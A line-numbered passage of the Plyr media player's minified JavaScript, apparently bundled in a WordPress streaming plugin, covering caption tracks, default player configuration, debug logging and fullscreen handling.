| 2367 |
this.elements.container, |
| 2368 |
this.config.classNames.captions.enabled, |
| 2369 |
!m.empty(t) |
| 2370 |
), |
| 2371 |
(this.config.controls || []).includes("settings") && |
| 2372 |
this.config.settings.includes("captions") && |
| 2373 |
ce.setCaptionsMenu.call(this); |
| 2374 |
}, |
| 2375 |
toggle: function (e) { |
| 2376 |
var t = |
| 2377 |
!(arguments.length > 1 && void 0 !== arguments[1]) || arguments[1]; |
| 2378 |
if (this.supported.ui) { |
| 2379 |
var n = this.captions.toggled, |
| 2380 |
i = this.config.classNames.captions.active, |
| 2381 |
a = m.nullOrUndefined(e) ? !n : e; |
| 2382 |
if (a !== n) { |
| 2383 |
if ( |
| 2384 |
(t || |
| 2385 |
((this.captions.active = a), |
| 2386 |
this.storage.set({ captions: a })), |
| 2387 |
!this.language && a && !t) |
| 2388 |
) { |
| 2389 |
var o = he.getTracks.call(this), |
| 2390 |
r = he.findTrack.call( |
| 2391 |
this, |
| 2392 |
[this.captions.language].concat(s(this.captions.languages)), |
| 2393 |
!0 |
| 2394 |
); |
| 2395 |
return ( |
| 2396 |
(this.captions.language = r.language), |
| 2397 |
void he.set.call(this, o.indexOf(r)) |
| 2398 |
); |
| 2399 |
} |
| 2400 |
this.elements.buttons.captions && |
| 2401 |
(this.elements.buttons.captions.pressed = a), |
| 2402 |
L(this.elements.container, i, a), |
| 2403 |
(this.captions.toggled = a), |
| 2404 |
ce.updateSetting.call(this, "captions"), |
| 2405 |
k.call( |
| 2406 |
this, |
| 2407 |
this.media, |
| 2408 |
a ? "captionsenabled" : "captionsdisabled" |
| 2409 |
); |
| 2410 |
} |
| 2411 |
} |
| 2412 |
}, |
| 2413 |
set: function (e) { |
| 2414 |
var t = |
| 2415 |
!(arguments.length > 1 && void 0 !== arguments[1]) || |
| 2416 |
arguments[1], |
| 2417 |
n = he.getTracks.call(this); |
| 2418 |
if (-1 !== e) |
| 2419 |
if (m.number(e)) |
| 2420 |
if (e in n) { |
| 2421 |
if (this.captions.currentTrack !== e) { |
| 2422 |
this.captions.currentTrack = e; |
| 2423 |
var i = n[e], |
| 2424 |
a = (i || {}).language; |
| 2425 |
(this.captions.currentTrackNode = i), |
| 2426 |
ce.updateSetting.call(this, "captions"), |
| 2427 |
t || |
| 2428 |
((this.captions.language = a), |
| 2429 |
this.storage.set({ language: a })), |
| 2430 |
this.isVimeo && this.embed.enableTextTrack(a), |
| 2431 |
k.call(this, this.media, "languagechange"); |
| 2432 |
} |
| 2433 |
he.toggle.call(this, !0, t), |
| 2434 |
this.isHTML5 && this.isVideo && he.updateCues.call(this); |
| 2435 |
} else this.debug.warn("Track not found", e); |
| 2436 |
else this.debug.warn("Invalid caption argument", e); |
| 2437 |
else he.toggle.call(this, !1, t); |
| 2438 |
}, |
| 2439 |
setLanguage: function (e) { |
| 2440 |
var t = |
| 2441 |
!(arguments.length > 1 && void 0 !== arguments[1]) || arguments[1]; |
| 2442 |
if (m.string(e)) { |
| 2443 |
var n = e.toLowerCase(); |
| 2444 |
this.captions.language = n; |
| 2445 |
var i = he.getTracks.call(this), |
| 2446 |
a = he.findTrack.call(this, [n]); |
| 2447 |
he.set.call(this, i.indexOf(a), t); |
| 2448 |
} else this.debug.warn("Invalid language argument", e); |
| 2449 |
}, |
| 2450 |
getTracks: function () { |
| 2451 |
var e = this, |
| 2452 |
t = arguments.length > 0 && void 0 !== arguments[0] && arguments[0]; |
| 2453 |
return Array.from((this.media || {}).textTracks || []) |
| 2454 |
.filter(function (n) { |
| 2455 |
return !e.isHTML5 || t || e.captions.meta.has(n); |
| 2456 |
}) |
| 2457 |
.filter(function (e) { |
| 2458 |
return ["captions", "subtitles"].includes(e.kind); |
| 2459 |
}); |
| 2460 |
}, |
| 2461 |
findTrack: function (e) { |
| 2462 |
var t, |
| 2463 |
n = this, |
| 2464 |
i = arguments.length > 1 && void 0 !== arguments[1] && arguments[1], |
| 2465 |
a = he.getTracks.call(this), |
| 2466 |
s = function (e) { |
| 2467 |
return Number((n.captions.meta.get(e) || {}).default); |
| 2468 |
}, |
| 2469 |
o = Array.from(a).sort(function (e, t) { |
| 2470 |
return s(t) - s(e); |
| 2471 |
}); |
| 2472 |
return ( |
| 2473 |
e.every(function (e) { |
| 2474 |
return !(t = o.find(function (t) { |
| 2475 |
return t.language === e; |
| 2476 |
})); |
| 2477 |
}), |
| 2478 |
t || (i ? o[0] : void 0) |
| 2479 |
); |
| 2480 |
}, |
| 2481 |
getCurrentTrack: function () { |
| 2482 |
return he.getTracks.call(this)[this.currentTrack]; |
| 2483 |
}, |
| 2484 |
getLabel: function (e) { |
| 2485 |
var t = e; |
| 2486 |
return ( |
| 2487 |
!m.track(t) && |
| 2488 |
W.textTracks && |
| 2489 |
this.captions.toggled && |
| 2490 |
(t = he.getCurrentTrack.call(this)), |
| 2491 |
m.track(t) |
| 2492 |
? m.empty(t.label) |
| 2493 |
? m.empty(t.language) |
| 2494 |
? te("enabled", this.config) |
| 2495 |
: e.language.toUpperCase() |
| 2496 |
: t.label |
| 2497 |
: te("disabled", this.config) |
| 2498 |
); |
| 2499 |
}, |
| 2500 |
updateCues: function (e) { |
| 2501 |
if (this.supported.ui) |
| 2502 |
if (m.element(this.elements.captions)) |
| 2503 |
if (m.nullOrUndefined(e) || Array.isArray(e)) { |
| 2504 |
var t = e; |
| 2505 |
if (!t) { |
| 2506 |
var n = he.getCurrentTrack.call(this); |
| 2507 |
t = Array.from((n || {}).activeCues || []) |
| 2508 |
.map(function (e) { |
| 2509 |
return e.getCueAsHTML(); |
| 2510 |
}) |
| 2511 |
.map(Z); |
| 2512 |
} |
| 2513 |
var i = t |
| 2514 |
.map(function (e) { |
| 2515 |
return e.trim(); |
| 2516 |
}) |
| 2517 |
.join("\n"); |
| 2518 |
if (i !== this.elements.captions.innerHTML) { |
| 2519 |
C(this.elements.captions); |
| 2520 |
var a = A("span", M(this.config.selectors.caption)); |
| 2521 |
(a.innerHTML = i), |
| 2522 |
this.elements.captions.appendChild(a), |
| 2523 |
k.call(this, this.media, "cuechange"); |
| 2524 |
} |
| 2525 |
} else this.debug.warn("updateCues: Invalid input", e); |
| 2526 |
else this.debug.warn("No captions element to render to"); |
| 2527 |
}, |
| 2528 |
}, |
| 2529 |
pe = { |
| 2530 |
enabled: !0, |
| 2531 |
title: "", |
| 2532 |
debug: !1, |
| 2533 |
autoplay: !1, |
| 2534 |
autopause: !0, |
| 2535 |
playsinline: !0, |
| 2536 |
seekTime: 10, |
| 2537 |
volume: 1, |
| 2538 |
muted: !1, |
| 2539 |
duration: null, |
| 2540 |
displayDuration: !0, |
| 2541 |
invertTime: !0, |
| 2542 |
toggleInvert: !0, |
| 2543 |
ratio: "16:9", |
| 2544 |
clickToPlay: !0, |
| 2545 |
hideControls: !0, |
| 2546 |
resetOnEnd: !1, |
| 2547 |
disableContextMenu: !0, |
| 2548 |
loadSprite: !0, |
| 2549 |
iconPrefix: "plyr", |
| 2550 |
iconUrl: (typeof streamcastData !== 'undefined' && streamcastData.plyrSvg) ? streamcastData.plyrSvg : '', |
| 2551 |
blankVideo: (typeof streamcastData !== 'undefined' && streamcastData.plyrBlankVideo) ? streamcastData.plyrBlankVideo : '', |
| 2552 |
quality: { |
| 2553 |
default: 576, |
| 2554 |
options: [4320, 2880, 2160, 1440, 1080, 720, 576, 480, 360, 240], |
| 2555 |
}, |
| 2556 |
loop: { active: !1 }, |
| 2557 |
speed: { selected: 1, options: [0.5, 0.75, 1, 1.25, 1.5, 1.75, 2] }, |
| 2558 |
keyboard: { focused: !0, global: !1 }, |
| 2559 |
tooltips: { controls: !1, seek: !0 }, |
| 2560 |
captions: { active: !1, language: "auto", update: !1 }, |
| 2561 |
fullscreen: { enabled: !0, fallback: !0, iosNative: !1 }, |
| 2562 |
storage: { enabled: !0, key: "plyr" }, |
| 2563 |
controls: [ |
| 2564 |
"play-large", |
| 2565 |
"play", |
| 2566 |
"progress", |
| 2567 |
"current-time", |
| 2568 |
"mute", |
| 2569 |
"volume", |
| 2570 |
"captions", |
| 2571 |
"settings", |
| 2572 |
"pip", |
| 2573 |
"airplay", |
| 2574 |
"fullscreen", |
| 2575 |
], |
| 2576 |
settings: ["captions", "quality", "speed"], |
| 2577 |
i18n: { |
| 2578 |
restart: "Restart", |
| 2579 |
rewind: "Rewind {seektime}s", |
| 2580 |
play: "Play", |
| 2581 |
pause: "Pause", |
| 2582 |
fastForward: "Forward {seektime}s", |
| 2583 |
seek: "Seek", |
| 2584 |
seekLabel: "{currentTime} of {duration}", |
| 2585 |
played: "Played", |
| 2586 |
buffered: "Buffered", |
| 2587 |
currentTime: "Current time", |
| 2588 |
duration: "Duration", |
| 2589 |
volume: "Volume", |
| 2590 |
mute: "Mute", |
| 2591 |
unmute: "Unmute", |
| 2592 |
enableCaptions: "Enable captions", |
| 2593 |
disableCaptions: "Disable captions", |
| 2594 |
download: "Download", |
| 2595 |
enterFullscreen: "Enter fullscreen", |
| 2596 |
exitFullscreen: "Exit fullscreen", |
| 2597 |
frameTitle: "Player for {title}", |
| 2598 |
captions: "Captions", |
| 2599 |
settings: "Settings", |
| 2600 |
menuBack: "Go back to previous menu", |
| 2601 |
speed: "Speed", |
| 2602 |
normal: "Normal", |
| 2603 |
quality: "Quality", |
| 2604 |
loop: "Loop", |
| 2605 |
start: "Start", |
| 2606 |
end: "End", |
| 2607 |
all: "All", |
| 2608 |
reset: "Reset", |
| 2609 |
disabled: "Disabled", |
| 2610 |
enabled: "Enabled", |
| 2611 |
advertisement: "Ad", |
| 2612 |
qualityBadge: { |
| 2613 |
2160: "4K", |
| 2614 |
1440: "HD", |
| 2615 |
1080: "HD", |
| 2616 |
720: "HD", |
| 2617 |
576: "SD", |
| 2618 |
480: "SD", |
| 2619 |
}, |
| 2620 |
}, |
| 2621 |
urls: { |
| 2622 |
download: null, |
| 2623 |
vimeo: { |
| 2624 |
sdk: "https://player.vimeo.com/api/player.js", |
| 2625 |
iframe: "https://player.vimeo.com/video/{0}?{1}", |
| 2626 |
api: "https://vimeo.com/api/v2/video/{0}.json", |
| 2627 |
}, |
| 2628 |
youtube: { |
| 2629 |
sdk: "https://www.youtube.com/iframe_api", |
| 2630 |
api: "https://www.googleapis.com/youtube/v3/videos?id={0}&key={1}&fields=items(snippet(title))&part=snippet", |
| 2631 |
}, |
| 2632 |
googleIMA: { |
| 2633 |
sdk: "https://imasdk.googleapis.com/js/sdkloader/ima3.js", |
| 2634 |
}, |
| 2635 |
}, |
| 2636 |
listeners: { |
| 2637 |
seek: null, |
| 2638 |
play: null, |
| 2639 |
pause: null, |
| 2640 |
restart: null, |
| 2641 |
rewind: null, |
| 2642 |
fastForward: null, |
| 2643 |
mute: null, |
| 2644 |
volume: null, |
| 2645 |
captions: null, |
| 2646 |
download: null, |
| 2647 |
fullscreen: null, |
| 2648 |
pip: null, |
| 2649 |
airplay: null, |
| 2650 |
speed: null, |
| 2651 |
quality: null, |
| 2652 |
loop: null, |
| 2653 |
language: null, |
| 2654 |
}, |
| 2655 |
events: [ |
| 2656 |
"ended", |
| 2657 |
"progress", |
| 2658 |
"stalled", |
| 2659 |
"playing", |
| 2660 |
"waiting", |
| 2661 |
"canplay", |
| 2662 |
"canplaythrough", |
| 2663 |
"loadstart", |
| 2664 |
"loadeddata", |
| 2665 |
"loadedmetadata", |
| 2666 |
"timeupdate", |
| 2667 |
"volumechange", |
| 2668 |
"play", |
| 2669 |
"pause", |
| 2670 |
"error", |
| 2671 |
"seeking", |
| 2672 |
"seeked", |
| 2673 |
"emptied", |
| 2674 |
"ratechange", |
| 2675 |
"cuechange", |
| 2676 |
"download", |
| 2677 |
"enterfullscreen", |
| 2678 |
"exitfullscreen", |
| 2679 |
"captionsenabled", |
| 2680 |
"captionsdisabled", |
| 2681 |
"languagechange", |
| 2682 |
"controlshidden", |
| 2683 |
"controlsshown", |
| 2684 |
"ready", |
| 2685 |
"statechange", |
| 2686 |
"qualitychange", |
| 2687 |
"adsloaded", |
| 2688 |
"adscontentpause", |
| 2689 |
"adscontentresume", |
| 2690 |
"adstarted", |
| 2691 |
"adsmidpoint", |
| 2692 |
"adscomplete", |
| 2693 |
"adsallcomplete", |
| 2694 |
"adsimpression", |
| 2695 |
"adsclick", |
| 2696 |
], |
| 2697 |
selectors: { |
| 2698 |
editable: "input, textarea, select, [contenteditable]", |
| 2699 |
container: ".plyr", |
| 2700 |
controls: { container: null, wrapper: ".plyr__controls" }, |
| 2701 |
labels: "[data-plyr]", |
| 2702 |
buttons: { |
| 2703 |
play: '[data-plyr="play"]', |
| 2704 |
pause: '[data-plyr="pause"]', |
| 2705 |
restart: '[data-plyr="restart"]', |
| 2706 |
rewind: '[data-plyr="rewind"]', |
| 2707 |
fastForward: '[data-plyr="fast-forward"]', |
| 2708 |
mute: '[data-plyr="mute"]', |
| 2709 |
captions: '[data-plyr="captions"]', |
| 2710 |
download: '[data-plyr="download"]', |
| 2711 |
fullscreen: '[data-plyr="fullscreen"]', |
| 2712 |
pip: '[data-plyr="pip"]', |
| 2713 |
airplay: '[data-plyr="airplay"]', |
| 2714 |
settings: '[data-plyr="settings"]', |
| 2715 |
loop: '[data-plyr="loop"]', |
| 2716 |
}, |
| 2717 |
inputs: { |
| 2718 |
seek: '[data-plyr="seek"]', |
| 2719 |
volume: '[data-plyr="volume"]', |
| 2720 |
speed: '[data-plyr="speed"]', |
| 2721 |
language: '[data-plyr="language"]', |
| 2722 |
quality: '[data-plyr="quality"]', |
| 2723 |
}, |
| 2724 |
display: { |
| 2725 |
currentTime: ".plyr__time--current", |
| 2726 |
duration: ".plyr__time--duration", |
| 2727 |
buffer: ".plyr__progress__buffer", |
| 2728 |
loop: ".plyr__progress__loop", |
| 2729 |
volume: ".plyr__volume--display", |
| 2730 |
}, |
| 2731 |
progress: ".plyr__progress", |
| 2732 |
captions: ".plyr__captions", |
| 2733 |
caption: ".plyr__caption", |
| 2734 |
menu: { quality: ".js-plyr__menu__list--quality" }, |
| 2735 |
}, |
| 2736 |
classNames: { |
| 2737 |
type: "plyr--{0}", |
| 2738 |
provider: "plyr--{0}", |
| 2739 |
video: "plyr__video-wrapper", |
| 2740 |
embed: "plyr__video-embed", |
| 2741 |
embedContainer: "plyr__video-embed__container", |
| 2742 |
poster: "plyr__poster", |
| 2743 |
posterEnabled: "plyr__poster-enabled", |
| 2744 |
ads: "plyr__ads", |
| 2745 |
control: "plyr__control", |
| 2746 |
controlPressed: "plyr__control--pressed", |
| 2747 |
playing: "plyr--playing", |
| 2748 |
paused: "plyr--paused", |
| 2749 |
stopped: "plyr--stopped", |
| 2750 |
loading: "plyr--loading", |
| 2751 |
hover: "plyr--hover", |
| 2752 |
tooltip: "plyr__tooltip", |
| 2753 |
cues: "plyr__cues", |
| 2754 |
hidden: "plyr__sr-only", |
| 2755 |
hideControls: "plyr--hide-controls", |
| 2756 |
isIos: "plyr--is-ios", |
| 2757 |
isTouch: "plyr--is-touch", |
| 2758 |
uiSupported: "plyr--full-ui", |
| 2759 |
noTransition: "plyr--no-transition", |
| 2760 |
display: { time: "plyr__time" }, |
| 2761 |
menu: { |
| 2762 |
value: "plyr__menu__value", |
| 2763 |
badge: "plyr__badge", |
| 2764 |
open: "plyr--menu-open", |
| 2765 |
}, |
| 2766 |
captions: { |
| 2767 |
enabled: "plyr--captions-enabled", |
| 2768 |
active: "plyr--captions-active", |
| 2769 |
}, |
| 2770 |
fullscreen: { |
| 2771 |
enabled: "plyr--fullscreen-enabled", |
| 2772 |
fallback: "plyr--fullscreen-fallback", |
| 2773 |
}, |
| 2774 |
pip: { supported: "plyr--pip-supported", active: "plyr--pip-active" }, |
| 2775 |
airplay: { |
| 2776 |
supported: "plyr--airplay-supported", |
| 2777 |
active: "plyr--airplay-active", |
| 2778 |
}, |
| 2779 |
tabFocus: "plyr__tab-focus", |
| 2780 |
}, |
| 2781 |
attributes: { |
| 2782 |
embed: { provider: "data-plyr-provider", id: "data-plyr-embed-id" }, |
| 2783 |
}, |
| 2784 |
keys: { google: null }, |
| 2785 |
ads: { enabled: !1, publisherId: "" }, |
| 2786 |
}, |
| 2787 |
me = "picture-in-picture", |
| 2788 |
fe = "inline", |
| 2789 |
ge = { html5: "html5", youtube: "youtube", vimeo: "vimeo" }, |
| 2790 |
ye = { audio: "audio", video: "video" }; |
| 2791 |
var ve = function () {}, |
| 2792 |
be = (function () { |
| 2793 |
function t() { |
| 2794 |
var n = |
| 2795 |
arguments.length > 0 && void 0 !== arguments[0] && arguments[0]; |
| 2796 |
e(this, t), |
| 2797 |
(this.enabled = window.console && n), |
| 2798 |
this.enabled && this.log("Debugging enabled"); |
| 2799 |
} |
| 2800 |
return ( |
| 2801 |
n(t, [ |
| 2802 |
{ |
| 2803 |
key: "log", |
| 2804 |
get: function () { |
| 2805 |
return this.enabled |
| 2806 |
? Function.prototype.bind.call(console.log, console) |
| 2807 |
: ve; |
| 2808 |
}, |
| 2809 |
}, |
| 2810 |
{ |
| 2811 |
key: "warn", |
| 2812 |
get: function () { |
| 2813 |
return this.enabled |
| 2814 |
? Function.prototype.bind.call(console.warn, console) |
| 2815 |
: ve; |
| 2816 |
}, |
| 2817 |
}, |
| 2818 |
{ |
| 2819 |
key: "error", |
| 2820 |
get: function () { |
| 2821 |
return this.enabled |
| 2822 |
? Function.prototype.bind.call(console.error, console) |
| 2823 |
: ve; |
| 2824 |
}, |
| 2825 |
}, |
| 2826 |
]), |
| 2827 |
t |
| 2828 |
); |
| 2829 |
})(); |
| 2830 |
function ke() { |
| 2831 |
if (this.enabled) { |
| 2832 |
var e = this.player.elements.buttons.fullscreen; |
| 2833 |
m.element(e) && (e.pressed = this.active), |
| 2834 |
k.call( |
| 2835 |
this.player, |
| 2836 |
this.target, |
| 2837 |
this.active ? "enterfullscreen" : "exitfullscreen", |
| 2838 |
!0 |
| 2839 |
), |
| 2840 |
F.isIos || |
| 2841 |
function () { |
| 2842 |
var e = |
| 2843 |
arguments.length > 0 && void 0 !== arguments[0] |
| 2844 |
? arguments[0] |
| 2845 |
: null, |
| 2846 |
t = |
| 2847 |
arguments.length > 1 && |
| 2848 |
void 0 !== arguments[1] && |
| 2849 |
arguments[1]; |
| 2850 |
if (m.element(e)) { |
| 2851 |
var n = _.call( |
| 2852 |
this, |
| 2853 |
"button:not(:disabled), input:not(:disabled), [tabindex]" |
| 2854 |
), |
| 2855 |
i = n[0], |
| 2856 |
a = n[n.length - 1]; |
| 2857 |
g.call( |
| 2858 |
this, |
| 2859 |
this.elements.container, |
| 2860 |
"keydown", |
| 2861 |
function (e) { |
| 2862 |
if ("Tab" === e.key && 9 === e.keyCode) { |
| 2863 |
var t = document.activeElement; |
| 2864 |
t !== a || e.shiftKey |
| 2865 |
? t === i && |
| 2866 |
e.shiftKey && |
| 2867 |
(a.focus(), e.preventDefault()) |
| 2868 |
: (i.focus(), e.preventDefault()); |
| 2869 |
} |
| 2870 |
}, |
| 2871 |
t, |
| 2872 |
!1 |
| 2873 |
); |
| 2874 |
} |
| 2875 |
}.call(this.player, this.target, this.active); |
| 2876 |
} |
| 2877 |
} |
| 2878 |
function we() { |
| 2879 |
var e = this, |
| 2880 |
t = arguments.length > 0 && void 0 !== arguments[0] && arguments[0]; |
| 2881 |
if ( |
| 2882 |
(t |
| 2883 |
? (this.scrollPosition = { |
| 2884 |
x: window.scrollX || 0, |
| 2885 |
y: window.scrollY || 0, |
| 2886 |
}) |
| 2887 |
: window.scrollTo(this.scrollPosition.x, this.scrollPosition.y), |
| 2888 |
(document.body.style.overflow = t ? "hidden" : ""), |
| 2889 |
L(this.target, this.player.config.classNames.fullscreen.fallback, t), |
| 2890 |
F.isIos) |
| 2891 |
) { |
| 2892 |
var n = document.head.querySelector('meta[name="viewport"]'), |
| 2893 |
i = "viewport-fit=cover"; |
| 2894 |
n || |
| 2895 |
(n = document.createElement("meta")).setAttribute("name", "viewport"); |
| 2896 |
var a = m.string(n.content) && n.content.includes(i); |
| 2897 |
t |
| 2898 |
? ((this.cleanupViewport = !a), a || (n.content += ",".concat(i))) |
| 2899 |
: this.cleanupViewport && |
| 2900 |
(n.content = n.content |
| 2901 |
.split(",") |
| 2902 |
.filter(function (e) { |
| 2903 |
return e.trim() !== i; |
| 2904 |
}) |
| 2905 |
.join(",")), |
| 2906 |
setTimeout(function () { |
| 2907 |
return H(e.target); |
| 2908 |
}, 100); |
| 2909 |
} |
| 2910 |
ke.call(this); |
| 2911 |
} |
| 2912 |
var Te = (function () { |
| 2913 |
function t(n) { |
| 2914 |
var i = this; |
| 2915 |
e(this, t), |
| 2916 |
(this.player = n), |
| 2917 |
(this.prefix = t.prefix), |
| 2918 |
(this.property = t.property), |
| 2919 |
(this.scrollPosition = { x: 0, y: 0 }), |
| 2920 |
y.call( |
| 2921 |
this.player, |
| 2922 |
document, |
| 2923 |
"ms" === this.prefix |
| 2924 |
? "MSFullscreenChange" |
| 2925 |
: "".concat(this.prefix, "fullscreenchange"), |
| 2926 |
function () { |
| 2927 |
ke.call(i); |
| 2928 |
} |
| 2929 |
), |
| 2930 |
y.call( |
| 2931 |
this.player, |
| 2932 |
this.player.elements.container, |
| 2933 |
"dblclick", |
| 2934 |
function (e) { |
| 2935 |
(m.element(i.player.elements.controls) && |
| 2936 |
i.player.elements.controls.contains(e.target)) || |
| 2937 |
i.toggle(); |
| 2938 |
} |
| 2939 |
), |
| 2940 |
this.update(); |
| 2941 |
} |
| 2942 |
return ( |
| 2943 |
n( |
| 2944 |
t, |
| 2945 |
[ |
| 2946 |
{ |
| 2947 |
key: "update", |
| 2948 |
value: function () { |
| 2949 |
this.enabled |
| 2950 |
? this.player.debug.log( |
| 2951 |
"".concat( |
| 2952 |
t.native ? "Native" : "Fallback", |
| 2953 |
" fullscreen enabled" |
| 2954 |
) |
| 2955 |
) |
| 2956 |
: this.player.debug.log( |
| 2957 |
"Fullscreen not supported and fallback disabled" |
| 2958 |
), |
| 2959 |
L( |
| 2960 |
this.player.elements.container, |
| 2961 |
this.player.config.classNames.fullscreen.enabled, |
| 2962 |
this.enabled |
| 2963 |
); |
| 2964 |
}, |
| 2965 |
}, |
| 2966 |
{ |
| 2967 |
key: "enter", |
| 2968 |
value: function () { |
| 2969 |
this.enabled && |
| 2970 |
(F.isIos && this.player.config.fullscreen.iosNative |
| 2971 |
? this.target.webkitEnterFullscreen() |
| 2972 |
: t.native |
| 2973 |
? this.prefix |
| 2974 |
? m.empty(this.prefix) || |
| 2975 |
this.target[ |
| 2976 |
"" |
| 2977 |
.concat(this.prefix, "Request") |
| 2978 |
.concat(this.property) |
| 2979 |
]() |
| 2980 |
: this.target.requestFullscreen() |
| 2981 |
: we.call(this, !0)); |
| 2982 |
}, |
| 2983 |
}, |
| 2984 |
{ |
| 2985 |
key: "exit", |
| 2986 |
value: function () { |
| 2987 |
if (this.enabled) |
| 2988 |
if (F.isIos && this.player.config.fullscreen.iosNative) |
| 2989 |
this.target.webkitExitFullscreen(), this.player.play(); |
| 2990 |
else if (t.native) |
| 2991 |
if (this.prefix) { |
| 2992 |
if (!m.empty(this.prefix)) { |
| 2993 |
var e = "moz" === this.prefix ? "Cancel" : "Exit"; |
| 2994 |
document[ |
| 2995 |
"".concat(this.prefix).concat(e).concat(this.property) |
| 2996 |
](); |
| 2997 |
} |
| 2998 |
} else |
| 2999 |
( |
| 3000 |
document.cancelFullScreen || document.exitFullscreen |
| 3001 |
).call(document); |
| 3002 |
else we.call(this, !1); |
| 3003 |
}, |
| 3004 |
}, |
| 3005 |
{ |
| 3006 |
key: "toggle", |
| 3007 |
value: function () { |
| 3008 |
this.active ? this.exit() : this.enter(); |
| 3009 |
}, |
| 3010 |
}, |
| 3011 |
{ |
| 3012 |
key: "enabled", |
| 3013 |
get: function () { |
| 3014 |
return ( |
| 3015 |
(t.native || this.player.config.fullscreen.fallback) && |
| 3016 |
this.player.config.fullscreen.enabled && |
| 3017 |
this.player.supported.ui && |
| 3018 |
this.player.isVideo |
| 3019 |
); |
| 3020 |
}, |
| 3021 |
}, |
| 3022 |
{ |
| 3023 |
key: "active", |
| 3024 |
get: function () { |
| 3025 |
return ( |
| 3026 |
!!this.enabled && |
| 3027 |
(t.native |
| 3028 |
? (this.prefix |
| 3029 |
? document[ |
| 3030 |
"" |
| 3031 |
.concat(this.prefix) |
| 3032 |
.concat(this.property, "Element") |
| 3033 |
] |
| 3034 |
: document.fullscreenElement) === this.target |
| 3035 |
: x( |
| 3036 |
this.target, |
| 3037 |
this.player.config.classNames.fullscreen.fallback |
| 3038 |
)) |
| 3039 |
); |
| 3040 |
}, |
| 3041 |
}, |
| 3042 |
{ |
| 3043 |
key: "target", |
| 3044 |
get: function () { |
| 3045 |
return F.isIos && this.player.config.fullscreen.iosNative |
| 3046 |
? this.player.media |
| 3047 |
: this.player.elements.container; |
| 3048 |
}, |
| 3049 |
}, |
| 3050 |
], |
| 3051 |
[ |
| 3052 |
{ |
| 3053 |
key: "native", |
| 3054 |
get: function () { |
| 3055 |
return !!( |
| 3056 |
document.fullscreenEnabled || |
| 3057 |
document.webkitFullscreenEnabled || |
| 3058 |
document.mozFullScreenEnabled || |
| 3059 |
document.msFullscreenEnabled |
| 3060 |
); |
| 3061 |
}, |
| 3062 |
}, |
| 3063 |
{ |
| 3064 |
key: "prefix", |
| 3065 |
get: function () { |
| 3066 |
if (m.function(document.exitFullscreen)) return ""; |
| 3067 |
var e = ""; |
| 3068 |
return ( |
| 3069 |
["webkit", "moz", "ms"].some(function (t) { |
| 3070 |
return ( |
| 3071 |
!( |
| 3072 |
!m.function(document["".concat(t, "ExitFullscreen")]) && |
| 3073 |
!m.function(document["".concat(t, "CancelFullScreen")]) |
| 3074 |
) && ((e = t), !0) |
| 3075 |
); |
| 3076 |
}), |
| 3077 |
e |
| 3078 |
); |
| 3079 |
}, |
| 3080 |
}, |
| 3081 |
{ |
| 3082 |
key: "property", |
| 3083 |
get: function () { |
| 3084 |
return "moz" === this.prefix ? "FullScreen" : "Fullscreen"; |
| 3085 |
}, |
| 3086 |
}, |
| 3087 |
] |
| 3088 |
), |
| 3089 |
t |
| 3090 |
); |
| 3091 |
})(); |
| 3092 |
function Ae(e) { |
| 3093 |
var t = |
| 3094 |
arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : 1; |
| 3095 |
return new Promise(function (n, i) { |
| 3096 |
var a = new Image(), |
| 3097 |
s = function () { |
| 3098 |
delete a.onload, delete a.onerror, (a.naturalWidth >= t ? n : i)(a); |
| 3099 |
}; |
| 3100 |
Object.assign(a, { onload: s, onerror: s, src: e }); |
| 3101 |
}); |
| 3102 |
} |
| 3103 |
var Ee = { |
| 3104 |
addStyleHook: function () { |
| 3105 |
L( |
| 3106 |
this.elements.container, |
| 3107 |
this.config.selectors.container.replace(".", ""), |
| 3108 |
!0 |
| 3109 |
), |
| 3110 |
L( |
| 3111 |
this.elements.container, |
| 3112 |
this.config.classNames.uiSupported, |
| 3113 |
this.supported.ui |
| 3114 |
); |
| 3115 |
}, |
| 3116 |
toggleNativeControls: function () { |
| 3117 |
arguments.length > 0 && |
| 3118 |
void 0 !== arguments[0] && |
| 3119 |
arguments[0] && |
| 3120 |
this.isHTML5 |
| 3121 |
? this.media.setAttribute("controls", "") |
| 3122 |
: this.media.removeAttribute("controls"); |
| 3123 |
}, |
| 3124 |
build: function () { |
| 3125 |
var e = this; |
| 3126 |
if ((this.listeners.media(), !this.supported.ui)) |
| 3127 |
return ( |
| 3128 |
this.debug.warn( |
| 3129 |
"Basic support only for " |
| 3130 |
.concat(this.provider, " ") |
| 3131 |
.concat(this.type) |
| 3132 |
), |
| 3133 |
void Ee.toggleNativeControls.call(this, !0) |
| 3134 |
); |
| 3135 |
m.element(this.elements.controls) || |
| 3136 |
(ce.inject.call(this), this.listeners.controls()), |
| 3137 |
Ee.toggleNativeControls.call(this), |
| 3138 |
this.isHTML5 && he.setup.call(this), |
| 3139 |
(this.volume = null), |
| 3140 |
(this.muted = null), |
| 3141 |
(this.speed = null), |
| 3142 |
(this.loop = null), |
| 3143 |
(this.quality = null), |
| 3144 |
ce.updateVolume.call(this), |
| 3145 |
ce.timeUpdate.call(this), |
| 3146 |
Ee.checkPlaying.call(this), |
| 3147 |
L( |
| 3148 |
this.elements.container, |
| 3149 |
this.config.classNames.pip.supported, |
| 3150 |
W.pip && this.isHTML5 && this.isVideo |
| 3151 |
), |
| 3152 |
L( |
| 3153 |
this.elements.container, |
| 3154 |
this.config.classNames.airplay.supported, |
| 3155 |
W.airplay && this.isHTML5 |
| 3156 |
), |
| 3157 |
L(this.elements.container, this.config.classNames.isIos, F.isIos), |
| 3158 |
L( |
| 3159 |
this.elements.container, |
| 3160 |
this.config.classNames.isTouch, |
| 3161 |
this.touch |
| 3162 |
), |
| 3163 |
(this.ready = !0), |
| 3164 |
setTimeout(function () { |
| 3165 |
k.call(e, e.media, "ready"); |
| 3166 |
}, 0), |
| 3167 |
Ee.setTitle.call(this), |
| 3168 |
this.poster && |
| 3169 |
Ee.setPoster.call(this, this.poster, !1).catch(function () {}), |
| 3170 |
this.config.duration && ce.durationUpdate.call(this); |
| 3171 |
}, |
| 3172 |
setTitle: function () { |
| 3173 |
var e = te("play", this.config); |
| 3174 |
if ( |
| 3175 |
(m.string(this.config.title) && |
| 3176 |
!m.empty(this.config.title) && |
| 3177 |
(e += ", ".concat(this.config.title)), |
| 3178 |
Array.from(this.elements.buttons.play || []).forEach(function (t) { |
| 3179 |
t.setAttribute("aria-label", e); |
| 3180 |
}), |
| 3181 |
this.isEmbed) |
| 3182 |
) { |
| 3183 |
var t = j.call(this, "iframe"); |
| 3184 |
if (!m.element(t)) return; |
| 3185 |
var n = m.empty(this.config.title) ? "video" : this.config.title, |
